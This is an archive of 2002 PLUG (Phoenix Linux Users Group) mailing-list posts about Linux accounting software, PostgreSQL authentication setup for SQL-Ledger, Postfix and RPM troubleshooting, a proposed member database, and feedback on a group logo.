http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 17:06:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Don Calfa) Date: Fri, 28 Jun 2002 10:06:30 -0700 Subject: Accounting Packages Message-ID: <3D1C9796.90504@netscape.net> Are there any accounting packages like Peachtree or Quickbooks for Linux? I haven't seen one and I know that this key program would be instrumental for getting small businesses into the Linux world. I'm also looking for personal reasons. From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 17:23:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 28 Jun 2002 10:23:13 -0700 Subject: Accounting Packages Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B548@mail.int.fh.org> Look at Gnucash -----Original Message----- From: Don Calfa [mailto:tvat3000@netscape.net] Sent: Friday, June 28, 2002 10:07 AM To: PLUG-discuss@lists.plug.phoenix.az.us Subject: Accounting Packages Are there any accounting packages like Peachtree or Quickbooks for Linux? I haven't seen one and I know that this key program would be instrumental for getting small businesses into the Linux world. I'm also looking for personal reasons. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 17:20:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Fri, 28 Jun 2002 10:20:53 -0700 Subject: Accounting Packages In-Reply-To: <3D1C9796.90504@netscape.net> References: <3D1C9796.90504@netscape.net> Message-ID: <200206281020.53786.krycom1@cox.net> On Friday 28 June 2002 10:06 am, Don Calfa wrote: > Are there any accounting packages like Peachtree or Quickbooks for > Linux? I haven't seen one and I know that this key program would be > instrumental for getting small businesses into the Linux world. I'm > also looking for personal reasons. Have you taken a look at these? http://freshmeat.net/projects/cbooks/?topic_id=76 http://www.linuxcanada.com/quasar.html -- Richard L. Proctor Krystal Computer Services PC Repairs & Upgrades www.krycom.com 480-699-3098 From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 17:21:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 28 Jun 2002 10:21:00 -0700 Subject: Membership database Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B547@mail.int.fh.org> So what you are saying here is someone does not have the right to exercise their own freedom to collect information from very public sources. No information contained in an email should be considered private. I am not advocating anyone harvesting the information this way, but a person in a free society does indeed have to right to do so if they choose to. Your permission to collect your information is implied when you send it to a public list. You are right in that the easiest most friendly way to do this database is to make it opt in. I was only stating that someone could gather the information and make a database that was not opt in if they wanted to. This is one reason at home I use an email address for lists like this that is used exclusively for lists and have other addresses for more private things. -----Original Message----- From: drghastly@cox.net [mailto:drghastly@cox.net] Sent: Friday, June 28, 2002 10:02 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: RE: Membership database This message uses a character set that is not supported by the Internet Service. To view the original message content, open the attached message. If the text doesn't display correctly, save the attachment to disk, and then open it using a viewer that can display the original character set. From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 17:37:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 28 Jun 2002 10:37:59 -0700 (PDT) Subject: Accounting Packages In-Reply-To: <3D1C9796.90504@netscape.net> Message-ID: Have you tried running them with WINE? On Fri, 28 Jun 2002, Don Calfa wrote: > Are there any accounting packages like Peachtree or Quickbooks for > Linux? I haven't seen one and I know that this key program would be > instrumental for getting small businesses into the Linux world. I'm > also looking for personal reasons. > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 17:41:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Fri, 28 Jun 2002 10:41:01 -0700 (PDT) Subject: eterm Message-ID: <20020628174101.66156.qmail@web10603.mail.yahoo.com> So Bryce - Can I take my mandrake CD, find the .rpm for eterm and install it on my RH 7.2? ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 17:59:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike Starke) Date: Fri, 28 Jun 2002 12:59:27 -0500 Subject: Accounting Packages In-Reply-To: <3D1C9796.90504@netscape.net>; from tvat3000@netscape.net on Fri, Jun 28, 2002 at 10:06:30AM -0700 References: <3D1C9796.90504@netscape.net> Message-ID: <20020628125927.A35264@megconsult.com> Two come to mind: GNUCash Sql Ledger and perhaps GNUEnterpise Personally, I am begining to take a look at Sql Ledger (www.sql-ledger.org), problem is I'm an ole MySQL guy and need to learn more 'bout PostgreSQL On Fri, Jun 28, 2002 at 10:06:30AM -0700, Don Calfa wrote: Are there any accounting packages like Peachtree or Quickbooks for Linux? I haven't seen one and I know that this key program would be instrumental for getting small businesses into the Linux world. I'm also looking for personal reasons. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 18:12:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Fri, 28 Jun 2002 11:12:38 -0700 (MST) Subject: Membership database In-Reply-To: <5.1.0.14.0.20020628085153.0246a0e0@localhost> Message-ID: I'm all for a database. Those who wish to be in it, can join. Those who do not, simply do nothing. \\/ From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 18:31:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Fri, 28 Jun 2002 11:31:07 -0700 Subject: Membership database (was Re: West Side InstallFest) In-Reply-To: <5.1.0.14.0.20020626203832.025352a0@localhost> References: <5.1.0.14.0.20020626163527.00a52ec0@localhost> <5.1.0.14.0.20020626163527.00a52ec0@localhost> <5.1.0.14.0.20020626203832.025352a0@localhost> Message-ID: <20020628183107.GD8953@ecloud.org> I don't see how it's possible to object to a page which is viewable only by members and which might be able to have members' home-page links on it if they choose to add them. Let's do it. I can help too if you need it. On Thu, Jun 27, 2002 at 09:33:05AM -0700, Kimi A. Adams wrote: > In answer.................... > > At 6/26/02, you wrote: > >Isn't there an announce list? If the membership of this list were > >exposed > >to its members (which I see right now it isn't - only the admin can see > >this) > >then you'd basically have an email list. Maybe this could be augmented > >with a database which maps the emails to some web links. Every member > >could modify this mapping to link the email to a "my involvement with > >PLUG" type page, and some software could be set up on the PLUG web > >server to optionally host those pages there instead of on members' own > >web servers, for those who don't have their own. Your password for your > >mailing list membership should be re-used to grant you access to edit > >your automatically-created default member page. Sounds like a job for > >Zope or something doesn't it? > And that's the reason for my two cents or so. That's what Unity Wave > does. We have programming that allows for quick duplication of a > "template" that is then easily updated by the user rather than the > webmaster. I have proposed this kind of programming before. Sometimes, > it's the grumbling that doesn't let a project begin or finish. > > >If you separate the membership database from the mailing list, then it > >is not self-maintaining, nobody will care very much about keeping it > >up to date and soon it will not be. Witness the shortness and age of > >this page: http://plug.phoenix.az.us/membersites.shtml for proof of > >that. See how many links you can still follow. I believe I sent in > >email to notify the web master that my link is way out of date, but > >never got a response. But if members can maintain their own links at > >the same time they manage their list subscriptions, then it will tend > >to stay up-to-date. Which means of course that this ought to be a > >Mailman feature, ideally. Every member of any list ought to be able > >to put a URL next to his name on the "member list" page. > > > Your suggestions are of the utmost importance to me. If I can move > forward with programming for something like this, then those suggestions > will be implemented if we can possibly implement. I only have history > with PLUG for a year and a half or so. I don't know what has been tried > before or what hasn't. > > We make life and changing life easy for the end user. Personally, I > don't want to have to go back and fix everything that a user can't. I > don't want to have to hard code any URL anywhere on my pages unless I > have to. > > If the decision were actually made to do so, we are poised and ready to > move forward. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 18:55:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 28 Jun 2002 11:55:05 -0700 Subject: eterm In-Reply-To: <20020628174101.66156.qmail@web10603.mail.yahoo.com> References: <20020628174101.66156.qmail@web10603.mail.yahoo.com> Message-ID: <200206281155.05420.zen2now@qwest.net> you could try that, and it will probably work. but if it doesnt or you would rather get the RH rpm, try http://rpmfind.net. once there look for a good mirror, the primary site is usually saturated. slr On Friday 28 June 2002 10:41 am, Alpha Zenon Sanchez wrote: > So Bryce - > > Can I take my mandrake CD, find the .rpm for eterm and > install it on my RH 7.2? > > > > ===== > Thanks, > Alpha Zenon Sanchez > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 19:22:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 28 Jun 2002 12:22:02 -0700 Subject: SuSE 7.3 sparc64 In-Reply-To: References: Message-ID: <200206281222.02232.zen2now@qwest.net> > I guess Debian isn't a distro? > > http://www.debian.org/releases/unstable/sparc/install 2.1.1 Supported Architectures Sun SPARC | sparc | - sun4cdm | - sun4u there is no mention of sparc64, this was why i decided on SuSE > or 2.4 isnt a new kernel? > > http://mirror.mcs.anl.gov/debian/pool/main/k/kernel-image-sparc-2.4/ and yes it is a newer kernel, but once again there was no mention of sparc64. unlike SuSE, they had sparc64-iso's and that was why i chose SuSE. slr From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 19:21:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Henderson) Date: Fri, 28 Jun 2002 15:21:19 -0400 (EDT) Subject: POSTFIX "Host not found" In-Reply-To: <200206281225.g5SCP4220958@PlugList.MyButt.Net> Message-ID: Hi. Testing out postfix on RH 7.3 and can't get it to send mail. For any address, postfix accepts the mail from the client, but it is never delivered. /etc/postfix/maillog reports "Host not found" for each one, even though on the command line I can do lookups to these mx records and connect on port 25 to them. Can anyone help? Thanks! Scott ----------------------------- Tired of Microsoft Windows? Visit http://www.lycoris.com! From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 19:24:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Don Calfa) Date: Fri, 28 Jun 2002 12:24:24 -0700 Subject: Accounting Packages References: <4A8DFDA6B395D411A11B00508BEE23FE76B548@mail.int.fh.org> Message-ID: <3D1CB7E8.6030505@netscape.net> Gnucash is not an accounting package that does inventory, payroll, job cost, and 90% of the other features that Quickbooks has. Tom Achtenberg wrote: >Look at Gnucash > >-----Original Message----- >From: Don Calfa [mailto:tvat3000@netscape.net] >Sent: Friday, June 28, 2002 10:07 AM >To: PLUG-discuss@lists.plug.phoenix.az.us >Subject: Accounting Packages > > >Are there any accounting packages like Peachtree or Quickbooks for >Linux? I haven't seen one and I know that this key program would be >instrumental for getting small businesses into the Linux world. I'm >also looking for personal reasons. > > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 19:27:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Don Calfa) Date: Fri, 28 Jun 2002 12:27:31 -0700 Subject: Accounting Packages References: <3D1C9796.90504@netscape.net> Message-ID: <3D1CB8A3.7030005@netscape.net> Quasar and SQL-Ledger look like it. Thanks guys. Don Calfa wrote: > Are there any accounting packages like Peachtree or Quickbooks for > Linux? I haven't seen one and I know that this key program would be > instrumental for getting small businesses into the Linux world. I'm > also looking for personal reasons. > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 19:38:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Fri, 28 Jun 2002 14:38:23 -0500 (CDT) Subject: Accounting Packages In-Reply-To: <3D1C9796.90504@netscape.net> Message-ID: GNU Enterprise (http://www.gnuenterprise.org) is a start. We have recently started re-tooling Noguska's GPL'd NOLA web accounting and make it work with GNUe Framework, to give a more immediate solution. -Derek On Fri, 28 Jun 2002, Don Calfa wrote: > Are there any accounting packages like Peachtree or Quickbooks for > Linux? I haven't seen one and I know that this key program would be > instrumental for getting small businesses into the Linux world. I'm > also looking for personal reasons. > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 19:29:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Henderson) Date: Fri, 28 Jun 2002 15:29:08 -0400 (EDT) Subject: Samba Help In-Reply-To: <200206281743.g5SHhM223213@PlugList.MyButt.Net> Message-ID: From: Matt Alexander >> Btw my samba problem seems to have fixed itself. >This may have been because it can take quite a while for SMB >requests to fully propogate throughout the network. Up to 30-45 minutes, according to which documentation you read. But I've seen it even take longer on our network! Scott From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 19:40:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike Starke) Date: Fri, 28 Jun 2002 14:40:44 -0500 Subject: postgreSQL permission problems Message-ID: <20020628144044.A45907@megconsult.com> I am attempting to get SQL-Ledger up and running and am running into a few problems as it pertains to postgreSQL. I have done the following: 1. As the user postgres (I'm on a debian sysem btw), I have done: 'createuser mike' 2. As the user 'mike' I have done: 'createdb mydb' 3. I can, as user 'mike' do: 'psql mydb' and get to the command line utility. 4. I have also ensured that I have the line" 'tcpip_socket = 1' in /etc/postgresql.conf 5. I have mucked around in /etc/postgresql/pg_hba.conf a bit and not sure what I have done in there. At any rate, when I fire up http://localhost/sqlledger.admin.pl, login, and then try to "Create Dataset" under the user 'mike', my linux (mike) password, and connect to 'mydb', I get the following error:FATAL 1: IDENT authentication failed for user "mike". I'm suspect my problems lie within pg_hba.conf, but whatever I do (thinking it is wide open) I continue to get the same error message. Can anyone offer some guidance here? v/r Mike From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 19:50:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Fri, 28 Jun 2002 14:50:22 -0500 (CDT) Subject: Accounting Packages In-Reply-To: <20020628125927.A35264@megconsult.com> Message-ID: I will speak from lots of experience being a developer in this space both professionally and in free software. > Two come to mind: > GNUCash GNUCash is not for business accounting. Further more it is local file database (not good for business computing), yes I realize they have a Postgres version, but its far from stable. They are working on some small business features but will be more on par with Quickbooks(which IMHO is a horrible business accounting package for many reasons) than a PeachTree > Sql Ledger SQL Ledger showed lots of promise in many ways until you look at its code and guts, last I checked you couldnt even reconcile bank accounts. If you are willing to go web accounting. NOLA from Noguska is much cleaner. > and perhaps GNUEnterpise > I think (biased) that we have the best promise in that we are a Framework much like SAP which offers true flexibility, but we dont have a shrink wrap accounting pak as of today Compiere is another nice package, that is polished but currently requires an Oracle database (pricey) and is under a weak copyleft license (MPL) > Personally, I am begining to take a look at Sql Ledger > (www.sql-ledger.org), problem is I'm an ole MySQL guy and > need to learn more 'bout PostgreSQL MySQL is not suited for business accounting in any way shape or form for many reasons (its a great database for many things, but this aint one of them) I strongly suggest you look at NOLA and give it an evaluation along with SQLLedger before making the jump, you will find it worth your time. Derek Neighbors GNU Enterprise http://www.gnuenterprise.org derek@gnue.org From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 20:14:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Fri, 28 Jun 2002 15:14:29 -0500 (CDT) Subject: postgreSQL permission problems In-Reply-To: <20020628144044.A45907@megconsult.com> Message-ID: > At any rate, when I fire up http://localhost/sqlledger.admin.pl, login, and then try > to "Create Dataset" under the user 'mike', my linux (mike) password, and connect to 'mydb', > I get the following error:FATAL 1: IDENT authentication failed for user "mike". > > I'm suspect my problems lie within pg_hba.conf, but whatever I do (thinking it is wide open) > I continue to get the same error message. You are correct this is a pg_hba.conf issue. As evidenced by the IDENT error. An easy way to test this kind of thing w/o having to fire up the application is do a psql -U mike -h localhost mydb Which forces things to access things like your web application does. > > Can anyone offer some guidance here? Comment out the other lines and add this to pg_hba.conf ... local all trust host all 127.0.0.1 255.255.255.255 trust It is not what I would leave for production or generally exposed machine, but it should be enough to allow you to test sql*ledger and see how you like it at which point you can read the finer points of pg_hba.conf options to set what is best for your needs. -Derek From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 20:19:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 28 Jun 2002 13:19:50 -0700 Subject: PLUG Logo Update! Message-ID: <200206281319.50441.zen2now@qwest.net> this is the newest version, also the master will be posted soon. what do you guys think about Tux in a Spawn Costume? http://www.zen2now.com/tux/tux1.jpg need some good feed back, as i want to get going with the screen printing slr From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 20:19:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike Starke) Date: Fri, 28 Jun 2002 15:19:02 -0500 Subject: Accounting Packages In-Reply-To: ; from derek@gnue.org on Fri, Jun 28, 2002 at 02:50:22PM -0500 References: <20020628125927.A35264@megconsult.com> Message-ID: <20020628151901.A49786@megconsult.com> I agree with the GNUCash thing, It was the first thing to come to my mind when he asked tho :-( You recommend NOLA, but it runs off of MySQL. Yet MySQL is not suited for accounting? I think the bottom line is this: There are quite a few folks out there looking for accounting packages to run on *nix. there are some apps that I have plans on tweaking, thus having some clean code sure makes life easier. However, there are some folks (incliuding myself on this one) that just want to use the software and not bother to tweak it. For instance, I was looking for a CRM package for a client; I found 'Relata'. Nothing fancy, but it works. I have made some minor tweaks to it, and the db, but all in all,they run it as is. I'd like to find an equivalent accounting package. Web driven, sql based (postgres or mysql), and something I can make minor tweaks on. I'll take another look at NOLA in the meantime. v/r Mike On Fri, Jun 28, 2002 at 02:50:22PM -0500, Derek Neighbors wrote: I will speak from lots of experience being a developer in this space both professionally and in free software. > Two come to mind: > GNUCash GNUCash is not for business accounting. Further more it is local file database (not good for business computing), yes I realize they have a Postgres version, but its far from stable. They are working on some small business features but will be more on par with Quickbooks(which IMHO is a horrible business accounting package for many reasons) than a PeachTree > Sql Ledger SQL Ledger showed lots of promise in many ways until you look at its code and guts, last I checked you couldnt even reconcile bank accounts. If you are willing to go web accounting. NOLA from Noguska is much cleaner. > and perhaps GNUEnterpise > I think (biased) that we have the best promise in that we are a Framework much like SAP which offers true flexibility, but we dont have a shrink wrap accounting pak as of today Compiere is another nice package, that is polished but currently requires an Oracle database (pricey) and is under a weak copyleft license (MPL) > Personally, I am begining to take a look at Sql Ledger > (www.sql-ledger.org), problem is I'm an ole MySQL guy and > need to learn more 'bout PostgreSQL MySQL is not suited for business accounting in any way shape or form for many reasons (its a great database for many things, but this aint one of them) I strongly suggest you look at NOLA and give it an evaluation along with SQLLedger before making the jump, you will find it worth your time. Derek Neighbors GNU Enterprise http://www.gnuenterprise.org derek@gnue.org ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 20:37:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 28 Jun 2002 16:37:06 -0400 Subject: PLUG Logo Update! Message-ID: My $0.02. It is lopsided with the BIG saguaro on the right and the little cactus on the left. I like the balance of the original logo, with saguaros not too big and on both sides. It would match the banner we already have. Other than that, way cool work! Thanks for doing it! Alan On Fri, 28 Jun 2002 13:19:50 -0700 slr wrote: this is the newest version, also the master will be posted soon. what do you guys think about Tux in a Spawn Costume? http://www.zen2now.com/tux/tux1.jpg need some good feed back, as i want to get going with the screen printing slr ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 19:40:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Fri, 28 Jun 2002 15:40:14 -0400 (EDT) Subject: PLUG Logo Update! In-Reply-To: <200206281319.50441.zen2now@qwest.net> Message-ID: I'm not going to be much help on feedback, I think it's fantastic! On Fri, 28 Jun 2002, slr wrote: > this is the newest version, also the master will be posted soon. what do you > guys think about Tux in a Spawn Costume? > > http://www.zen2now.com/tux/tux1.jpg > > need some good feed back, as i want to get going with the screen printing > > slr > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ------------------------------------------------------------------- "We need commonsense judges who understand that our rights were derived from God," - President George W. Bush, 27 June 2002 http://www.nandotimes.com/politics/story/448758p-3591873c.html ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 20:53:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Fri, 28 Jun 2002 13:53:42 -0700 Subject: PLUG Logo Update! In-Reply-To: <200206281319.50441.zen2now@qwest.net> References: <200206281319.50441.zen2now@qwest.net> Message-ID: <02062813534219.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 IMHO - it looks great! The saguaro is my preference over the prickly tho. Now, if it were two saguaro behind Tux, I would send my check in today. On Friday 28 June 2002 13:19, you wrote: > this is the newest version, also the master will be posted soon. what do > you guys think about Tux in a Spawn Costume? > > http://www.zen2now.com/tux/tux1.jpg > > need some good feed back, as i want to get going with the screen printing > > slr > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRzM1ysk3ywszI1FEQISRwCgx4Z19fo6bt4Mc0Y9L1fSiU83SO4AoK8a nWW1q4VlA6Tet6Ee42Op5dWc =N//S -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 20:45:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 28 Jun 2002 16:45:16 -0400 Subject: MS offers licence fee FINANCING! Message-ID: This is from an e-newsletter I get from MS, as I deal with them in my professional life. I have clipped away most of it. I laughed about this part, though. I think they are shooting themselves in the foot, which is good for Linux. Alan -------- Forwarded message -------- Date: Fri, 28 Jun 2002 12:55:41 -0700 From: alandd@mindspring.com Reply-to: 3_33069_3379B672-B0AF-D011-8B19-08002BB74F3F_US@Newsletters.Microsoft.com To: alandd@consultpros.com Subject: Local News Southwest Connection Microsoft Southwest Connection for Arizona - July 2002 Edition ---- __________________________TABLE OF CONTENTS_________________________ 1. Product News 2. Licensing Updates 3. Events 4. Training 5. User Groups, Chats and Webcasts 6. Service and Support 7. Other Resources ---- 2. LICENSING UPDATES REMINDER! July 31, 2002 Software Assurance & Upgrade Advantage Eligibility will end! Until July 31, 2002, you may enroll eligible existing licenses in Software Assurance or Upgrade Advantage that offer a simpler way for you to keep current with the latest and most innovative Microsoft products. Learn about the benefits today: Overview of Software Assurance and Upgrade Advantage http://www.microsoft.com/licensing/programs/sa/sadefined.asp Understand Your Options: Purchase by July 31 and Save http://www.microsoft.com/licensing/programs/sa/saprepare.asp Open License Customers can Exercise 90-day No Payments/No Interest Option Microsoft is offering, for a limited time, the Microsoft Open License Credit Line Program to qualified small and medium businesses in the United States. It provides business owners with low minimum monthly payments options through extremely competitive financing for purchases made through July 31, 2002. Learn more from the FAQ about the Microsoft Open License Credit Line Program. http://www.microsoft.com/licensing/programs/open/finance/faqcredit.asp ---- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 20:51:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Fri, 28 Jun 2002 15:51:50 -0500 (CDT) Subject: Accounting Packages In-Reply-To: <20020628151901.A49786@megconsult.com> Message-ID: > I agree with the GNUCash thing, It was the first thing to come to > my mind when he asked tho :-( > > You recommend NOLA, but it runs off of MySQL. Yet MySQL is not suited > for accounting? In an earlier mail I stated that GNU Enterprise was 'enhancing' NOLA, one such enhancement is we added postgres support, my bad. We are working with Noguska to get all changes incorporated back in. If you would like to see the postgres version before its committed let me know and I can point you at where to get it. -Derek From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 20:49:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Fri, 28 Jun 2002 13:49:19 -0700 (MST) Subject: postgreSQL permission problems In-Reply-To: <20020628144044.A45907@megconsult.com> Message-ID: Mike, how is the postmaster started? (postmaster is the postgresql backend server) There is an option the postmaster needs in order to allow network connections. Example, looking at the process list (ps ax): /usr/local/pgsql/bin/postmaster -i -D /web/pgsql The "-i" option seen here allows tcp connections, without it, quite a few of the software's can't connect. If you don't see this "-i" option, that may be your problem. A typical startup command for the postmaster looks like this (but all on one line!): su - postgres -c "/usr/local/pgsql/bin/postmaster -i -D /web/pgsql >logfile 2>&1 &" On Fri, 28 Jun 2002, Mike Starke wrote: I am attempting to get SQL-Ledger up and running and am running into a few problems as it pertains to postgreSQL. I have done the following: 1. As the user postgres (I'm on a debian sysem btw), I have done: 'createuser mike' 2. As the user 'mike' I have done: 'createdb mydb' 3. I can, as user 'mike' do: 'psql mydb' and get to the command line utility. 4. I have also ensured that I have the line" 'tcpip_socket = 1' in /etc/postgresql.conf 5. I have mucked around in /etc/postgresql/pg_hba.conf a bit and not sure what I have done in there. At any rate, when I fire up http://localhost/sqlledger.admin.pl, login, and then try to "Create Dataset" under the user 'mike', my linux (mike) password, and connect to 'mydb', I get the following error:FATAL 1: IDENT authentication failed for user "mike". I'm suspect my problems lie within pg_hba.conf, but whatever I do (thinking it is wide open) I continue to get the same error message. Can anyone offer some guidance here? v/r Mike ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 21:05:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 28 Jun 2002 14:05:43 -0700 Subject: PLUG Logo Update! In-Reply-To: References: Message-ID: <200206281405.43067.zen2now@qwest.net> k, i sent the feedback to Austin, and he is on it. so maybe here shortly we will have another version up for viewing. thx for the quick response! slr On Friday 28 June 2002 01:37 pm, alandd@mindspring.com wrote: > My $0.02. > > It is lopsided with the BIG saguaro on the right and the little cactus on > the left. I like the balance of the original logo, with saguaros not too > big and on both sides. It would match the banner we already have. > > Other than that, way cool work! Thanks for doing it! > > Alan > > On Fri, 28 Jun 2002 13:19:50 -0700 slr wrote: > > this is the 